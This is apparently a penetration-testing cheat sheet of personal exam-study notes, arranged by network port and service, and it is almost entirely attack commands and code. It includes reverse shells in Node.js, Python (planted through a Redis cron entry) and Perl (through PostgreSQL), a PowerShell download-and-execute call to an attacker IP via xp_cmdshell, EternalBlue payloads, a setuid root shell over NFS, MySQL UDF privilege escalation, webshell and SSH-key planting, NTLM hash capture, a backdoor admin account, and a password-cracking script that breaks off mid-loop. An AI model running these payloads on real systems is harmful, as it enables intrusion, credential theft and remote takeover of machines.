curl -T '/path/to/local/file.txt' 'http://example.com/webdav/test/new_name.txt'
curl --upload-file http:///test/
curl -T 'cmdasp.aspx' 'http://192.168.89.122/cmd.aspx' --user fmcsorley:CrabSharkJellyfish192
# Renaming File
curl -X MOVE --header 'Destination:http://example.org/webdav/new.txt' 'http://example.com/webdav/old.txt'
# Deleting Files/Folders
# File:
curl -X DELETE 'http://example.com/webdav/test.txt'
# Folder:
curl -X DELETE 'http://example.com/webdav/test'
</syntaxhighlight>

==== Wordpress ====

<syntaxhighlight lang="bash">
wpscan --url
</syntaxhighlight>

===== Change user pass in Mysql =====

<syntaxhighlight lang="bash">
# Example 1
use wp_genesis;
SELECT ID, user_login, user_pass FROM wp_users;
UPDATE wp_users SET user_pass = MD5(‘WPEXPLORER’) WHERE ID=1 LIMIT 1;
# Example 2
select * from wp_users;
UPDATE `wp_users` SET `user_pass`= MD5('bypassed') WHERE
`user_login`='admin';
</syntaxhighlight>

===== Panel RCE =====

<syntaxhighlight lang="bash">
Edit the 404.php file in Wordpress dashobard. Appereance --> Editor --> 404 Template.
Add php-reverse-shell.php.
Visit http:///wp-content/themes/twentytwelve/404.php
</syntaxhighlight>

===== Plugin RCE =====

<syntaxhighlight lang="bash">
https://github.com/x3rz/malicious-wordpress-plugin
# Edit php reverse shell and add IP and port
# Go to Plugin -> Add new -> Upload plugin
# Upload the zip file
# Visit url http:///wp-content/plugins/MyPlugin/malplugin.php
</syntaxhighlight>

=== Webshell ===

==== PHP webshell, php code, php execution, php command ====

<syntaxhighlight lang="bash">

</syntaxhighlight>

=== WebApplication Firewall (WAF) ===

=== fireprox -Rotate source IP ===

<syntaxhighlight lang="bash">
# https://github.com/ustayready/fireprox

</syntaxhighlight>

==== Waf Bypass ====

<syntaxhighlight lang="bash">
https://portswigger.net/bappstore/ae2611da3bbc4687953a1f4ba6a4e04c
See notes for XposedAPI. Add header to GET request in burp. (One of them) and see result.
X-Originating-IP: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1
</syntaxhighlight>

----

== 88 - KERBEROS ==

----

== 110 - POP3 ==

<syntaxhighlight lang="bash">
# Login
telnet 192.168.196.137 110
Trying 192.168.196.137...
Connected to 192.168.196.137.
Escape character is '^]'.
+OK Dovecot (Ubuntu) ready.
USER sales
+OK
PASS sales
+OK Logged in.
# List emails
list
# Read mail
RETR
</syntaxhighlight>

----

== 113 - ident ==

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/network-services-pentesting/113-pentesting-ident
ident-user-enum 192.168.207.60 22 113 8080 10000
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )
192.168.207.60:22 root
192.168.207.60:113 nobody
192.168.207.60:8080
192.168.207.60:10000 eleanor
</syntaxhighlight>

----

== 135, 593 - MS RPC ==

=== Enum with creds ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb/rpcclient-enumeration
# If you have access to rpcclient, you can enumerate target
# Users enumeration
List users: querydispinfo and enumdomusers
Get user details: queryuser
Get user groups: queryusergroups
GET SID of a user: lookupnames
Get users aliases: queryuseraliases [builtin|domain]
# Groups enumeration
List groups: enumdomgroups
Get group details: querygroup
Get group members: querygroupmem
Aliasgroups enumeration
List alias: enumalsgroups
Get members: queryaliasmem builtin|domain
# Domains enumeration
List domains: enumdomains
Get SID: lsaquery
Domain info: querydominfo
# Shares enumeration
Enumerate all available shares: netshareenumall
Info about a share: netsharegetinfo
# More SIDs
Find SIDs by name: lookupnames
Find more SIDs: lsaenumsid
RID cycling (check more SIDs): lookupsids
</syntaxhighlight>

=== Password Reset over RPC ===

<syntaxhighlight lang="bash">
# https://room362.com/post/2017/reset-ad-user-password-with-linux/
rpcclient $> setuserinfo2
rpcclient $> setuserinfo2 audit2020 23 'Password123!'
# One-liner
root@kali# rpcclient -U 'blackfield.local/support%#00^BlackKnight' 10.10.10.192 -c 'setuserinfo2 audit2020 23 "Password123!"'
</syntaxhighlight>

----

== 139, 445 - SMB/SAMBA ==

=== Brute force ===

<syntaxhighlight lang="bash">
crackmapexec smb -u -p
hydra -V -f -L -P smb:// -u -vV
</syntaxhighlight>

=== Capture hash using responder or smbserver ===

<syntaxhighlight lang="bash">
# On attacker start responder or smbserver.
responder -I attackerip
/usr/bin/impacket-smbserver share . -smb2support
# On target
dir \\attackerip\something
view=//attackerip/share
# Looking at the smbserver or responder you should have a NetNTLM hash. Copy all the text and use hashcat -m 5600 to crack it.
# Example
ted::EXAM:aaaaaaaaaaaaaaaa:a8ecd5aa9380ac8a4fbb1675b1ecaaaf:010100000000000000171a603bf4d801c188d310ceebaab30000000001001000680070006d00700048004d004600620003001000680070006d00700048004d00460062000200100075006d005200700049007400570058000400100075006d005200700049007400570058000700080000171a603bf4d8010600040002000000080030003000000000000000010000000020000096dbb345b8d0cc5a1bc8d14cd3277457913639d19c3307e6e04ee03bb7864ee20a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003100310039002e003200330036000000000000000000
</syntaxhighlight>

=== Command Execution through smbmap ===

<syntaxhighlight lang="bash">
smbmap -u 'backup' -p 'backup' -H 10.11.1.227 -x "net user" --mode psexec
</syntaxhighlight>

=== Download files ===

<syntaxhighlight lang="bash">
#Download all
smbclient ///
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory

# Download all files from a directory recursively
smbclient /// -U -c "prompt OFF;recurse ON;mget *"
</syntaxhighlight>

=== EternalBlue ms17-010 ===

<syntaxhighlight lang="bash">
https://github.com/worawit/MS17-010/
https://github.com/helviojunior/MS17-010 # Modified version of worawits repo
# If windows xp, use send_and_execute.py
# Generate payload using msfvenom
python2 send_and_execute.py 10.10.10.10 shell.exe
</syntaxhighlight>

=== Enumerate samba version ===

[https://4pfsec.com/manually-enumerating-smb-version/ https://4pfsec.com/manually-enumerating-smb-version/]

<syntaxhighlight lang="bash">
# Run the below script while wireshark is listening
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 8 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 10 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
# Once you've run the script, go back to wireshark and follow one of the smb TCP stream
</syntaxhighlight>

[[File:2022-09-image-1.png|thumb]]

=== Enumerate ===

<syntaxhighlight lang="bash">
enum4linux -A
nmap -v -p 139,445 -oG smb.txt 192.168.11.200-254
nbtscan -r 192.168.11.0/24
nmblookup -A target
rpcclient -U "" target // connect as blank user /nobody
smbclient ///
smbclient -L //
smbclient //192.168.31.147/kathy -I 192.168.31.147
smbmap -H
smbmap -u '' -p '' -H
smbmap -u 'guest' -p '' -H
smbmap -u '' -p '' -H -R
smbmap -u "" -p "" -d MYGROUP -H 10.11.1.22
crackmapexec smb
crackmapexec smb -u '' -p ''
crackmapexec smb -u 'guest' -p ''
crackmapexec smb -u '' -p '' --shares
</syntaxhighlight>

=== Mount share ===

<syntaxhighlight lang="bash">
mount -t auto --source //x.x.x.x
mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
smbclient ///
smbclient /// -U
</syntaxhighlight>

=== Shell ===

<syntaxhighlight lang="bash">
psexec.py /:@
psexec.py /@ -hashes :
wmiexec.py /:@
wmiexec.py /@ -hashes :
smbexec.py /:@
smbexec.py /@ -hashes :
atexec.py /:@
atexec.py /@ -hashes :
</syntaxhighlight>

=== Eternal Blue ===

<syntaxhighlight lang="bash">
MS17-010 - EternalBlue
MS08-067 - MS08-067
CVE-2017-7494 - CVE-2017-7494
# Send_and_Exectue.py
msfvenom -p windows/shell_reverse_tcp -f exe LHOST=10.10.14.17 LPORT=4444 > exploit.exe
python2 send_and_execute.py 10.10.10.40 exploit.exe
-----------------------------------------
# Command Execution
https://www.exploit-db.com/exploits/42315
# Uncomment this line and add your CMD
service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt')
-----------------------------------------
# AutoBlue
# Generate shellcode from shell_prep.sh
https://github.com/3ndG4me/AutoBlue-MS17-010
python eternalblue_exploit*.py
</syntaxhighlight>

=== Man in the middle ===

==== URI file attack ====

<syntaxhighlight lang="bash">
# See writeup for Vault
# If Windows host and SMB share is writeable we can upload a file that the target will interpret as a Windows shortcut. We will need Responder.
Kali > cat @file.url # Can also save as desktop.ini
[InternetShortcut]
URL=anything
WorkingDirectory=anything
IconFile=\\192.168.118.14\%USERNAME%.icon
IconIndex=1
# Start responder
sudo responder -I tun0 -v
# Hashtype
net-NTLMv2
# Upload file to SMB and wait for a user to access the file.
</syntaxhighlight>

----

== 161 - SNMP ==

<syntaxhighlight lang="bash">
snmp-check [-p PORT]
</syntaxhighlight>

----

== 194,6667,6660-7000 - IRC ==

<syntaxhighlight lang="bash">
# Can use different clients, like irssi
# See notes from box; UT99
#Connection with random nickname
USER ran213eqdw123 0 * ran213eqdw123
NICK ran213eqdw123
#If a PING : is responded you need to send
#PONG :
VERSION
HELP
INFO
LINKS
HELPOP USERCMDS
HELPOP OPERCMDS
OPERATOR CAPA
ADMIN #Admin info
USERS #Current number of users
TIME #Server's time
STATS a #Only operators should be able to run this
NAMES #List channel names and usernames inside of each channel -> Nombre del canal y nombre de las personas que estan dentro
LIST #List channel names along with channel banner
WHOIS #WHOIS a username
USERHOST #If available, get hostname of a user
USERIP #If available, get ip of a user
JOIN #Connect to a channel
#Operator creds Brute-Force
OPER
</syntaxhighlight>

----

== 389, 636, 3268, 3269 - LDAP ==

=== Enumerate LDAP ===

<syntaxhighlight lang="bash">
nmap -n -sV --script "ldap* and not brute" -p 389 dc-ip
</syntaxhighlight>

=== Dump LDAP info ===

Must have valid credentials

<syntaxhighlight lang="bash">
pip3 install ldapdomaindump
ldapdomaindump [-r ] -u '\' -p '' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
</syntaxhighlight>

=== Search queries ===

<syntaxhighlight lang="bash">
# ldapsearch opens a connection to an LDAP server, binds, and performs a search using specified parameters.
ldapsearch -x -h -b "dc=XXXX"
# Example
ldapsearch -x -H LDAP://192.168.89.122 -b "dc=hutch,dc=offsec"
</syntaxhighlight>

----

== 873 - rsync ==

=== Commands ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/network-services-pentesting/873-pentesting-rsync
# List shares
rsync -av --list-only rsync://192.168.243.126/
# Upload files
rsync -av test.txt rsync://192.168.243.126/fox
</syntaxhighlight>

=== Upload SSH key ===

<syntaxhighlight lang="bash">
# 1 Generate an SSH key
ssh-keygen -t rsa
# 2 If you are in a users folder, create a .ssh
mkdir .ssh
rsync -av .ssh TARGET_IP/home_dir/
# 3 Create a authorized_keys file and add the content of id_rsa.pub to this file
touch authorized_keys
echo -n 'CONTENT of id_rsa.pub' >> authorized_keys
# 4 Transfer the authorized_keys to the target
rsync -av authorized_keys TARGET_IP/home_dir/.ssh/
# 5 SSH into the machine. You need to know the owner of home_dir
ssh -i id_rsa USER@TARGETIP
</syntaxhighlight>

<syntaxhighlight lang="bash">
https://www.netspi.com/blog/technical/network-penetration-testing/linux-hacking-case-studies-part-1-rsync/
https://book.hacktricks.xyz/pentesting/873-pentesting-rsync
</syntaxhighlight>

----

== 1098/1099/1050 - Java RMI ==

[https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi https://book.hacktricks.xyz/network-services-pentesting/1099-pentesting-java-rmi]

<syntaxhighlight lang="bash">
# Running Remote Method Guesser
# https://github.com/qtc-de/remote-method-guesser#installation
java -jar rmg-4.3.0-jar-with-dependencies.jar
</syntaxhighlight>

----

== 1433 - MSSQL ==

=== Microsoft SQL Server 2017 directory locations ===

<syntaxhighlight lang="bash">
\program files\microsoft sql server\mssql14.sqlexpress\mssql\backup\master.mdf
</syntaxhighlight>

=== Execute commands ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#execute-commands
# Log in to mssql
/usr/bin/impacket-mssqlclient -db volume -windows-auth /:@
# Execute commands
# Username + Password + CMD command
crackmapexec mssql -d -u -p -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d -u -H -X '$PSVersionTable'
# this turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
# this enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE
# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Bypass blackisted "EXEC xp_cmdshell"
‘; DECLARE @x AS VARCHAR(100)=’xp_cmdshell’; EXEC @x ‘ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net’ —
</syntaxhighlight>

=== xp_cmdshell ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#hacktricks-automatic-commands
# Need credentials
sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G
###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go
2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go
3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
</syntaxhighlight>

=== Extracting hashes from .mdf file ===

<syntaxhighlight lang="bash">
https://github.com/xpn/Powershell-PostExploitation
# read this if troulbe
https://github.com/xpn/Powershell-PostExploitation/issues/1
# Run Powershell on linux
pwsh
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes> Add-Type -Path 'OrcaMDF.RawCore.dll'
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes> Add-Type -Path 'OrcaMDF.Framework.dll'
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes> import-module .\Get-MDFHashes.ps1
PS /home/aghanim/Desktop/OSCP/10.11.1.111/mdf/Powershell-PostExploitation/Invoke-MDFHashes> Get-MDFHashes -mdf "./master.mdf"
</syntaxhighlight>

----

== 1521, 1522-1529 - Oracle TNS Listener ==

----

== 1978, 1979, 1980 - Remote Mouse ==

<syntaxhighlight lang="bash">
# Use nc to check header
# SIN 15win pwd pwd 300 : Indicating that the service requires authentication.
# SIN 15win nop nop 300 : Indicating that the service does not require authentication.
# Then use this exploit. Check writeup for PG mice and PWK IT dept 10.1.1.89.
https://github.com/p0dalirius/RemoteMouse-3.008-Exploit
# Edit the script to point to your Python HTTP server where nishang invoke tcp script is ready.
</syntaxhighlight>

----

== 2049 - NFS ==

=== no_root_squash ===

https://blog.aghanim.net/?p=1252#Privilege_Escalation_NFS

=== Access NFS through ssh tunnel ===

<syntaxhighlight lang="bash">
# Source https://medium.com/vieh-group/hacking-oscp-cheatsheet-ef63c43f919c
# Output from /etc/exports on target
/srv/Share 10.1.1.0/24(insecure,rw)
/srv/Share 127.0.0.1/32(no_root_squash,insecure,rw)
# Forward connection - Run the ssh command on attacker
ssh -f -N megumin@192.168.42.43 -L 2049:127.0.0.1:2049
mount -t nfs 127.0.0.1:/srv/pelota my_share
cd my_share
cat > shell.c
int main(){
setuid(0);
setgid(0);
system("/bin/bash");
}
EOF
gcc shell.c -o shell
chmod u+s shell
# Reverse connection - Run the ssh command on target
# Beware that this means target will access attacker through ssh. Not as safe as forward connection.
ssh -N -R 192.168.119.176:2221:127.0.0.1:2049 aghanim@192.168.119.176
mount -v -t nfs -o port=2221,tcp localhost:/srv/Share mount
</syntaxhighlight>

----

== 3000 - NodeJs ==

<syntaxhighlight lang="javascript">
https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell
# The Javascript code below is a Node.js reverse shell.
# Remember to change the IP address and PORT with the nc you are running.
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "192.168.33.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
</syntaxhighlight>

----

== 3306 - MySQL/MariaDB ==

=== Privilege escalation ===

<syntaxhighlight lang="bash">
# https://medium.com/r3d-buck3t/privilege-escalation-with-mysql-user-defined-functions-996ef7d5ceaf
# User-defined function (UDF)
# If you can login as root you can create a malicious functions to run commands.
https://www.exploit-db.com/exploits/1518
# You can also compile it on attacker if target dont have gcc. Use --static.
# Check if secure_file_priv. If empty means disabled
show variables like '%secure_file_priv%';
# Find plugin path. Add the path on step file (dumpfile)
show variables like '%plugin%';
$ gcc -g -c raptor_udf2.c
* $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
# Can also transfer exploit raptor_udf2.so with hex.
## xxd -p raptor_udf2.so | tr -d '\n' > raptor_udf2.so.hex
* $ mysql -u root -p
* Enter password:
* [...]
# Set variable for shellcode
## set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;
* mysql> use mysql;
* mysql> create table foo(line blob);
* mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so'));
# Output shellcode to file on target
## select binary @shell into dumpfile '/usr/lib/raptor_udf2.so';
* mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so';
* mysql> create function do_system returns integer soname 'raptor_udf2.so';
* mysql> select * from mysql.func;
* +-----------+-----+----------------+----------+
* | name | ret | dl | type |
* +-----------+-----+----------------+----------+
* | do_system | 2 | raptor_udf2.so | function |
* +-----------+-----+----------------+----------+
* mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out');
# OR
select do_system('cp /bin/bash /tmp/out; chmod +xs /tmp/out');
* mysql> \! sh
* sh-2.05b$ cat /tmp/out
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
* [...]
</syntaxhighlight>

=== Privilege escalation method 2 ===

<syntaxhighlight lang="bash">
https://github.com/mysqludf/lib_mysqludf_sys
# Compiling the above will sometimes not work and you have to do some editing. See the below commands to fix issue and compile correct.
xxd -p lib_mysqludf_sys.so| tr -d '\n' > lib_mysqludf_sys.so.hex
cat lib_mysqludf_sys.so.hex | xclip -selection clipboard
MariaDB [(none)]> select @@plugin_dir
MariaDB [(none)]> set @shell = 0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b000100000004000000000000...00000000000000000000;
MariaDB [(none)]> select binary @shell into dumpfile @@plugin_dir; # Write out the plugin dir like this '/usr/lib/lib_mysqludf_sys.so
MariaDB [(none)]> create function sys_exec returns int soname 'udf_sys_exec.so';
MariaDB [(none)]> select * from mysql.func where name='sys_exec';
MariaDB [(none)]> select sys_exec('cp /bin/sh /tmp/; chown root:root /tmp/sh; chmod +s /tmp/sh')
</syntaxhighlight>

<syntaxhighlight lang="bash">
git clone https://github.com/mysqludf/lib_mysqludf_sys.git
cd lib_mysqludf_sys
rm lib_mysqludf_sys.so
sed -i 's|$(LIBDIR)|.|g' Makefile
sed -i 's|-Wall -I/usr/include/mysql|-Wall -I/usr/include/mariadb/server -I/usr/include/mariadb/ -I/usr/include/mariadb/server/private|g' Makefile
ex lib_mysqludf_sys.c <<<"57,62m27|wq"
sudo apt install libmariadbd-dev
make
</syntaxhighlight>

----

== 3389 - RDP ==

=== Add user and enable RDP ===

<syntaxhighlight lang="bash">
# https://github.com/xapax/oscp/blob/master/templates/windows-template.md
net user aghanim Password123 /add
net localgroup Administrators aghanim /add
net localgroup "Remote Desktop Users" aghanim /ADD
# Enable RDP
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
Turn firewall off
netsh firewall set opmode disable
Or like this
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
If you get this error:
"ERROR: CredSSP: Initialize failed, do you have correct kerberos tgt initialized ?
Failed to connect, CredSSP required by server.""
Add this reg key:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /
</syntaxhighlight>

=== ThinVNC ===

<syntaxhighlight lang="bash">
https://www.exploit-db.com/exploits/47519
</syntaxhighlight>

----

== 4505, 4506 - zmtp ==

<syntaxhighlight lang="bash">
# RCE in Satlstack 3000 ZeroMQ CVE-2020-11651 and CVE-2020-11652 in
# https://github.com/jasperla/CVE-2020-11651-poc
python3 exploit.py --master 192.168.115.130 --exec "nc 127.0.0.1 4444 -e /bin/sh"
python3 exploit.py --master 192.168.115.130 -r /etc/shadow
</syntaxhighlight>

----

== 5432, 5433 - PostgreSQL ==

=== Commands ===

<syntaxhighlight lang="bash">
psql -U # Open psql console with user
psql -h -U -d # Remote connection
psql -h -p -U -W # Remote connection
</syntaxhighlight>

<syntaxhighlight lang="sql">
psql -h localhost -d -U #Password will be prompted
\list # List databases
\c # use the database
\d # List tables
\du+ # Get users roles
#Read a file
CREATE TABLE demo(t text);
COPY demo from '[FILENAME]';
SELECT * FROM demo;
#Write ascii to a file (copy to cannot copy binary data)
COPY (select convert_from(decode('','base64'),'utf-8')) to 'C:\\some\\interesting\path.cmd';
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
#Check if current user is superiser
SELECT current_setting('is_superuser'); #If response is "on" then true, if "off" then false
#Check if plpgsql is enabled
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
#Check users privileges over a table (pg_shadow on this example)
SELECT grantee, privilege_type
FROM information_schema.role_table_grants
WHERE table_name='pg_shadow'
#Get users roles
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolconnlimit, r.rolvaliduntil,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
</syntaxhighlight>

=== RCE ===

<syntaxhighlight lang="bash">
# https://book.hacktricks.xyz/pentesting-web/sql-injection/postgresql-injection#rce
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

postgres=# COPY cmd_exec FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.49.115:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;;
COPY 0
</syntaxhighlight>

----

== 5800, 5801, 5900, 5901 - VNC ==

----

== 5985, 5986 - WinRM ==

----
The easiest way to connect to WinRM using C# is to use '''WSMAN Automation'''.

Reference <code>wsmauto.dll</code> from <code>Windows\System32</code> in your project.

The following code should work:

<syntaxhighlight lang="csharp">
IWSMan wsman = new WSManClass();
IWSManConnectionOptions options = (IWSManConnectionOptions)wsman.CreateConnectionOptions();
if (options != null)
{
try
{
// options.UserName = ???;
// options.Password = ???;
IWSManSession session = (IWSManSession)wsman.CreateSession("http://<your_server_name>/wsman", 0, options);
if (session != null)
{
try
{
// retrieve the Win32_Service xml representation
var reply = session.Get("http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Service?Name=winmgmt", 0);
// parse xml and dump service name and description
var doc = new XmlDocument();
doc.LoadXml(reply);
foreach (var elementName in new string[] { "p:Caption", "p:Description" })
{
var node = doc.GetElementsByTagName(elementName)[0];
if (node != null) Console.WriteLine(node.InnerText);
}
}
finally
{
Marshal.ReleaseComObject(session);
}
}
}
finally
{
Marshal.ReleaseComObject(options);
}
}
</syntaxhighlight>

Source:

* [https://stackoverflow.com/questions/3771920/how-to-access-winrm-in-c-sharp]

== 6370 - Redis ==

=== Commands & info ===

<syntaxhighlight lang="bash">
# Service file
/etc/systemd/system/redis.service
# Config file
installdir/redis/etc/redis. conf
</syntaxhighlight>

=== Crontab ===

<syntaxhighlight lang="bash">
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK
</syntaxhighlight>

=== Dumping database ===

=== Load module ===

<syntaxhighlight lang="bash">
# See PG Sybaris writeup
# https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#load-redis-module
# Following the instructions from https://github.com/n0b0dyCN/RedisModules-ExecuteCommand you can compile a redis module to execute arbitrary commands.
# Then you need some way to upload the compiled module
# Load the uploaded module at runtime with MODULE LOAD /path/to/mymodule.so
# List loaded modules to check it was correctly loaded: MODULE LIST
# Execute commands:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
Unload the module whenever you want: MODULE UNLOAD mymodule
</syntaxhighlight>

=== Redis-rogue server ===

<syntaxhighlight lang="bash">
# A exploit for Redis(<=5.0.5) RCE
# https://github.com/n0b0dyCN/redis-rogue-server
# https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
python3 redis-rogue-server.py --rhost=192.168.143.69 --rport=6379 --lhost=192.168.49.143 --lport 6379
</syntaxhighlight>

=== SSH ===

[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#ssh Source]

<syntaxhighlight lang="bash">
# 1 Generate a ssh public-private key pair on your pc: ssh-keygen -t rsa
# 2 Write the public key to a file : (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
# 3 Import the file into redis : cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
# 4 Save the public key to the authorized_keys file on redis server:
# 4
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
# Finally, you can ssh to the redis server with private key : ssh -i id_rsa redis@10.85.0.52
</syntaxhighlight>

=== Webshell ===

[https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#webshell Source]

<syntaxhighlight lang="bash">
# You must know the path of the Web site folder.
# Try also /var/www/html
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test ""
OK
10.85.0.52:6379> save
OK
</syntaxhighlight>

----

== 27017 - MongoDB ==

=== Crack hash ===

<syntaxhighlight lang="python">
# In order to get the password for MonogDB you need to have the SCRAM challanege, either from a pcap or else. You need the username, client nonce, server nonce, salt, and the target hash.
#!/usr/bin/python3
import base64
import hashlib
import hmac
import sys
USERNAME = 'admin'
SALT = 'zOa0kWA/OTak0a0vNaN0Zh2drO1uekoDUh4sdg=='
CLIENT_NONCE = '+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeK'
SERVER_NONCE = '+CDTb3v9SwhwxAXb4+vZ32l0VsTvrLeKoGtDP4x0LH5WZgQ9xFMJEJknBHTp6N1D'
ITERATIONS = 15000
TARGET = '/nW1YVs0JcvxU48jLHanbkQbZ4GFJ8+Na8fj7xM1s98='
WORDLIST = '/usr/share/wordlists/rockyou.txt'
def byte_xor(ba1, ba2):
return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])
def proof(username, password, salt, client_nonce, server_nonce, iterations):
raw_salt = base64.b64decode(salt)
client_first_bare = 'n={},r={}'.format(username, client_nonce)
server_first = 'r={},s={},i={}'.format(server_nonce, salt, iterations)
client_final_without_proof = 'c=biws,r={}'.format(server_nonce)
auth_msg = '{},{},{}'.format(client_first_bare, server_first, client_final_without_proof)
salted_password = hashlib.pbkdf2_hmac('sha256', password.encode('utf-8'), raw_salt, iterations)
client_key = hmac.digest(salted_password, b'Client Key', 'sha256')
stored_key = hashlib.sha256(client_key).digest()
client_signature = hmac.new(stored_key, auth_msg.encode('utf-8'), 'sha256').digest()
client_proof = byte_xor(client_key, client_signature)
return base64.b64encode(client_proof).decode('utf-8')
counter = 0
with open(WORDLIST) as f:
for candidate in f:
counter = counter + 1
if counter % 1000 == 0:
print('Tried {} passwords'.format(counter))
